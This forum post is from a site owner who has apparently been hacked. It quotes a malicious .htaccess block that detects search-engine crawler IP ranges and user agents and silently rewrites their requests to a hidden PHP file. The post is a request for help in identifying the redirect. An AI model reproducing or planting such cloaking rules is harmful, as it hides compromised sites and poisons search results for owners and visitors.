I have the same problem. I looked in the.htaccess file an this is what I found. Is this the redirect they are using?
RewriteEngine on
RewriteBase /
RewriteCond %{HTTP_HOST} (^|www.)example.com
RewriteCond %{REQUEST_FILENAME} (\?|$)
RewriteCond %{REMOTE_ADDR} ^66\.249\.[6-9][0-9]\.[0-9]+$ [OR]
RewriteCond %{REMOTE_ADDR} ^74\.125\.[0-9]+\.[0-9]+$ [OR]
RewriteCond %{REMOTE_ADDR} ^64\.233\.1[6-9][0-9]\.[0-9]+$ [OR]
RewriteCond %{REMOTE_ADDR} ^65\.5[2-5]\.[0-9]+\.[0-9]+$ [OR]
RewriteCond %{HTTP_USER_AGENT} (google|msnbot)
RewriteRule ^(.*)$ Images/Images/amex2.class.php [L]
Options +FollowSymLinks